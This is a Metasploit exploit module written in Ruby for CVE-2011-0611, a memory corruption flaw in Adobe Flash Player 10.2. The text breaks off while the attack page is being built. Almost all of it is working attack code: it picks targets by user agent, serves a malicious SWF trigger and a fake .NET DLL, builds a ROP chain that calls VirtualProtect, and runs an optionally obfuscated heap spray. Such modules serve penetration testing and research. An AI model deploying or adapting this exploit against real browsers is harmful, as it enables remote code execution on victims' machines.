##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={})
super(update_info(info,
'Name' => "Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability",
'Description' => %q{
This module exploits a vulnerability in Adobe Flash Player that was discovered, and
has been exploited actively in the wild. By embedding a specially crafted .swf file,
Adobe Flash crashes due to an invalid use of an object type, which allows attackers to
overwrite a pointer in memory, and results arbitrary code execution. Please note for
IE 8 targets, mscorie.dll (a .Net component) must be available on the victim machine
in order to work properly.
},
'License' => MSF_LICENSE,
'Version' => "$Revision$",
'Author' =>
[
'sinn3r',
],
'References' =>
[
[ 'CVE', '2011-0611' ],
[ 'OSVDB', '71686' ],
[ 'BID', '47314' ],
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb11-07.html' ],
[ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2011/04/12/analysis-of-the-cve-2011-0611-adobe-flash-player-vulnerability-exploitation.aspx' ],
[ 'URL', 'http://contagiodump.blogspot.com/2011/04/apr-8-cve-2011-0611-flash-player-zero.html' ],
[ 'URL', 'http://bugix-security.blogspot.com/2011/04/cve-2011-0611-adobe-flash-zero-day.html' ],
[ 'URL', 'http://secunia.com/blog/210' ],
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'DefaultOptions' =>
{
'ExitFunction' => "process",
'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 6 on Windows XP SP3', { 'Rop' => false } ],
[ 'IE 7 on Windows XP SP3', { 'Rop' => false } ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => true } ],
[ 'IE 7 on Windows Vista', { 'Rop' => false } ],
],
'Privileged' => false,
'DisclosureDate' => "Apr 11 2011",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true])
], self.class
)
end
def exploit
#Load the trigger file
path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2011-0611.swf")
f = File.open(path, "rb")
@trigger = f.read(f.stat.size)
f.close
super
end
def get_target(request)
agent = request.headers['User-Agent']
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
#Windows XP SP3 + IE 6.0
return targets[1]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
#Windows XP SP3 + IE 7.0
return targets[2]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/ and agent =~ /\.NET CLR 2\.0/
#Windows XP SP3 + IE 8.0 + .Net CLR 2.0
return targets[3]
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/
#Windows Vista + IE 7
return targets[4]
else
return nil
end
end
def junk
return rand_text_alpha(4).unpack("L")[0].to_i
end
def on_request_uri(cli, request)
#Set default target
my_target = target
#If user chooses automatic target, we choose one based on user agent
if my_target.name =~ /Automatic/
my_target = get_target(request)
#No suitable target, we go ninja mode
if my_target.nil?
send_not_found(cli)
print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent")
return
end
print_status("Target selected: #{my_target.name}") if datastore['VERBOSE']
end
uri = request.uri
print_status("URL: #{uri}") if datastore['VERBOSE']
if uri =~ /\.swf$/
#Browser requests our trigger file, why not
print_status("Sending trigger SWF to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, @trigger, {'Content-Type'=>'application/x-shockwave-flash'} )
return
elsif uri =~ /\.dll$/
#Throw the browser a fake .Net DLL so mscorie.dll will load
print_status("Sending .NET dll to #{cli.peerhost}:#{cli.peerport}...")
ibase = (0x2000 | rand(0x8000)) << 16
#Generate our .Net DLL with random data
dll = Msf::Util::EXE.to_dotnetmem(ibase, rand_text(16))
#Generate our headers for the browser to download the dll
headers = {
'Content-Type' => 'application/x-msdownload',
'Connection' => 'close',
'Pragma' => 'no-cache'
}
send_response(cli, dll, headers)
return
end
#The type of arch our victim machine is running
arch = Rex::Arch.endian(my_target.arch)
if my_target['Rop']
#DEP is enabled, rop it like a rop star
net_dll_name = "#{get_resource}/generic-" + Time.now.to_i.to_s + ".dll"
js_net_dll = ""
#Land it exactly at 0x11111110
rop =
[
0x63F031D8, #POP ECX; POP ESI; RETN
junk,
0x7E451509, #XCHG EAX,ESP; RETN in USER32
0x63f04d74, #CALL mscorie!_imp_VirtualProtect
0x11111138, #Param: shellcode (Target address = 0x11111110+0x24)
0x900, #Param: size (2304)
0x40, #Param: newProtect
0x11111110, #Param: oldProtect
0x11111138, #RETN (Target address = 0x11111110+0x24)
junk,
].pack('V*')
#Our payload will land at 11111110
shellcode = Rex::Text.to_unescape(rop + payload.encoded, arch)
nops = Rex::Text.to_unescape(rand_text_alpha(4), arch)
#Heap spray routine
js = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{shellcode}");
var nops = unescape("#{nops}");
while (nops.length < 0x1000) nops += nops;
offset = nops.substring(0, 0x62);
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x20000) shellcode += shellcode;
block = shellcode.substring(0, (0x10000-6)/2);
heap_obj.gc();
for (var i=0; i < 0x1000; i++) {
heap_obj.alloc(block);
}
JS
else
#No DEP, giggity. 0x0c0c0c0c is our target address
nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch)
shellcode = Rex::Text.to_unescape(payload.encoded, arch)
#Heap spray routine
js = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{shellcode}");
var nops = unescape("#{nops}");
while (nops.length < 0x1000) nops += nops;
var shellcode = nops.substring(0, 0x1000-code.length) + code;
while (shellcode.length < 0x20000) shellcode += shellcode;
block = shellcode.substring(0, (0x10000-6)/2);
heap_obj.gc();
for (var i=0; i < 0x1000; i++) {
heap_obj.alloc(block);
}
JS
end
#Implement heaplib
js = heaplib(js)
#Javascript obfuscation is optional
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end
trigger_file_name = "#{get_resource}/#{rand_text_alpha(rand(3))}.swf"
html = <<-EOS
#{js_net_dll}